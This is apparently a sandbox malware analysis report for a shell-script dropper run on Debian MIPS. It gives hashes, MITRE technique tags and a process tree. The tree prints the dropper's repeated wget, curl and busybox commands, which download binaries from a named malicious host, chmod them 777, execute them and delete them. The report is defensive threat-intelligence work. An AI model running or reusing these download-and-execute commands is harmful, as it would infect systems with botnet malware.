e22c1f5ad05d87a6a1e1748ed0f0a6fc5847dc258a92b49a928b9b34c6442940

Analysis

max time kernel
97s
max time network
100s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
18/11/2024, 01:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
715cf72a86e0e373965749d33b0c647cf56f96d0f724b2fa6ebe4fcd5d245c2b.sh
Size 10KB
Sample241118-bdhlhatgpg
SHA256 715cf72a86e0e373965749d33b0c647cf56f96d0f724b2fa6ebe4fcd5d245c2b
MD5 14759c0807b68670084504785d46b2c4
SHA1 7f78698f0065915dbeb4005eb70b08518954a8d6
SHA512 e85c1887b67d68edbea152abc9c57332e54dd3725995cd18f94ee1984097819ba5c6e4c86bd62015370638793f6269d22a9f603c0983a6d1ee0fd1db5fb90668
SSDEEP 192:BmqtcsF4ttOHrUNIuGumujucuAuXTnmttxJlU/XKLT88ttOHduGumujucuAuLTnh:BmqtcsF4ttOHrUNIuGumujucuAuw/88i
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
742	chmod
844	chmod
867	chmod
925	chmod
953	chmod
756	chmod
787	chmod
918	chmod
974	chmod
988	chmod
995	chmod
911	chmod
749	chmod
883	chmod
932	chmod
939	chmod
981	chmod
815	chmod
825	chmod
904	chmod
890	chmod
967	chmod
1002	chmod
876	chmod
897	chmod
946	chmod
960	chmod
1009	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
987	busybox
828	wget
873	curl
921	wget
887	curl
901	curl
971	curl
1005	wget
882	busybox
952	busybox
924	busybox
938	busybox
950	curl
966	busybox
994	busybox
740	busybox
818	wget
973	busybox
977	wget
783	busybox
824	busybox
942	wget
957	curl
980	busybox
872	wget
922	curl
792	wget
850	wget
900	wget
964	curl
752	wget
761	wget
943	curl
999	curl
1006	curl
732	curl
896	busybox
991	wget
992	curl
863	busybox
945	busybox
894	curl
914	wget
915	curl
936	curl
959	busybox
772	curl
829	curl
907	wget
908	curl
746	curl
748	busybox
893	wget
1001	busybox
799	curl
879	wget
910	busybox
917	busybox
963	wget
745	wget
837	busybox
875	busybox
880	curl
889	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2	curl
File opened for modification	/tmp/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE	curl
File opened for modification	/tmp/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU	curl
File opened for modification	/tmp/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh	curl
File opened for modification	/tmp/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU	curl
File opened for modification	/tmp/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL	curl
File opened for modification	/tmp/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh	curl
File opened for modification	/tmp/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR	curl
File opened for modification	/tmp/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA	curl
File opened for modification	/tmp/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65	curl
File opened for modification	/tmp/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw	curl
File opened for modification	/tmp/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ	curl
File opened for modification	/tmp/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE	curl
File opened for modification	/tmp/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL	curl
File opened for modification	/tmp/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA	curl
File opened for modification	/tmp/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ	curl
File opened for modification	/tmp/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai	curl
File opened for modification	/tmp/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva	curl
File opened for modification	/tmp/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN	curl
File opened for modification	/tmp/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR	curl
File opened for modification	/tmp/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN	curl
File opened for modification	/tmp/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw	curl
File opened for modification	/tmp/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n	curl
File opened for modification	/tmp/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n	curl
File opened for modification	/tmp/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai	curl
File opened for modification	/tmp/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2	curl
File opened for modification	/tmp/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65	curl
File opened for modification	/tmp/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva	curl

/tmp/715cf72a86e0e373965749d33b0c647cf56f96d0f724b2fa6ebe4fcd5d245c2b.sh
/tmp/715cf72a86e0e373965749d33b0c647cf56f96d0f724b2fa6ebe4fcd5d245c2b.sh
1⤵
PID:711
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:715
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  PID:718
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  - System Network Configuration Discovery
  PID:740
- /bin/chmod
  chmod 777 GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  ./GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  - Executes dropped EXE
  PID:743
- /bin/rm
  rm GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  PID:744
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  - System Network Configuration Discovery
  PID:745
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  - System Network Configuration Discovery
  PID:748
- /bin/chmod
  chmod 777 ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  ./ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  PID:751
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  - System Network Configuration Discovery
  PID:752
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  PID:755
- /bin/chmod
  chmod 777 jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  ./jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  - Executes dropped EXE
  PID:757
- /bin/rm
  rm jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  PID:760
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  - System Network Configuration Discovery
  PID:761
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:772
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  - System Network Configuration Discovery
  PID:783
- /bin/chmod
  chmod 777 X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  ./X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  - Executes dropped EXE
  PID:788
- /bin/rm
  rm X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  PID:791
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  - System Network Configuration Discovery
  PID:792
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:799
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  PID:813
- /bin/chmod
  chmod 777 gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  ./gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  PID:817
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  - System Network Configuration Discovery
  PID:818
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  - System Network Configuration Discovery
  PID:824
- /bin/chmod
  chmod 777 3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  ./3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  - Executes dropped EXE
  PID:826
- /bin/rm
  rm 3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  PID:827
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  - System Network Configuration Discovery
  PID:828
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:829
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  - System Network Configuration Discovery
  PID:837
- /bin/chmod
  chmod 777 LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  ./LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  - Executes dropped EXE
  PID:845
- /bin/rm
  rm LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  PID:848
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  - System Network Configuration Discovery
  PID:850
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:856
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  - System Network Configuration Discovery
  PID:863
- /bin/chmod
  chmod 777 vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  ./vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  PID:871
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  - System Network Configuration Discovery
  PID:872
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:873
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  - System Network Configuration Discovery
  PID:875
- /bin/chmod
  chmod 777 rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  ./rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  - Executes dropped EXE
  PID:877
- /bin/rm
  rm rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  PID:878
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  - System Network Configuration Discovery
  PID:879
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  - System Network Configuration Discovery
  PID:882
- /bin/chmod
  chmod 777 Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  ./Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  PID:885
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  - System Network Configuration Discovery
  PID:889
- /bin/chmod
  chmod 777 R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  ./R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  PID:892
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  - System Network Configuration Discovery
  PID:893
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  - System Network Configuration Discovery
  PID:896
- /bin/chmod
  chmod 777 go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  ./go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  PID:899
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  - System Network Configuration Discovery
  PID:900
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  PID:903
- /bin/chmod
  chmod 777 TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  ./TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  - Executes dropped EXE
  PID:905
- /bin/rm
  rm TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  PID:906
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  - System Network Configuration Discovery
  PID:907
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:908
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  - System Network Configuration Discovery
  PID:910
- /bin/chmod
  chmod 777 v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  ./v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  PID:913
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  - System Network Configuration Discovery
  PID:914
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:915
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  - System Network Configuration Discovery
  PID:917
- /bin/chmod
  chmod 777 jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /tmp/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  ./jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  - Executes dropped EXE
  PID:919
- /bin/rm
  rm jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
  2⤵
  PID:920
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  - System Network Configuration Discovery
  PID:921
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:922
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  - System Network Configuration Discovery
  PID:924
- /bin/chmod
  chmod 777 X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  ./X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
  2⤵
  PID:927
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  PID:931
- /bin/chmod
  chmod 777 gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  ./gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
  2⤵
  PID:934
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  - System Network Configuration Discovery
  PID:938
- /bin/chmod
  chmod 777 3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  ./3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  - Executes dropped EXE
  PID:940
- /bin/rm
  rm 3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
  2⤵
  PID:941
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  - System Network Configuration Discovery
  PID:942
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:943
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  - System Network Configuration Discovery
  PID:945
- /bin/chmod
  chmod 777 LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  ./LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  - Executes dropped EXE
  PID:947
- /bin/rm
  rm LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
  2⤵
  PID:948
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  PID:949
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:950
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  - System Network Configuration Discovery
  PID:952
- /bin/chmod
  chmod 777 vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  - File and Directory Permissions Modification
  PID:953
- /tmp/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  ./vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  - Executes dropped EXE
  PID:954
- /bin/rm
  rm vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
  2⤵
  PID:955
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  PID:956
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:957
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  - System Network Configuration Discovery
  PID:959
- /bin/chmod
  chmod 777 rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  - File and Directory Permissions Modification
  PID:960
- /tmp/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  ./rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  - Executes dropped EXE
  PID:961
- /bin/rm
  rm rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
  2⤵
  PID:962
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  - System Network Configuration Discovery
  PID:963
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:964
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  - System Network Configuration Discovery
  PID:966
- /bin/chmod
  chmod 777 Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /tmp/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  ./Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  - Executes dropped EXE
  PID:968
- /bin/rm
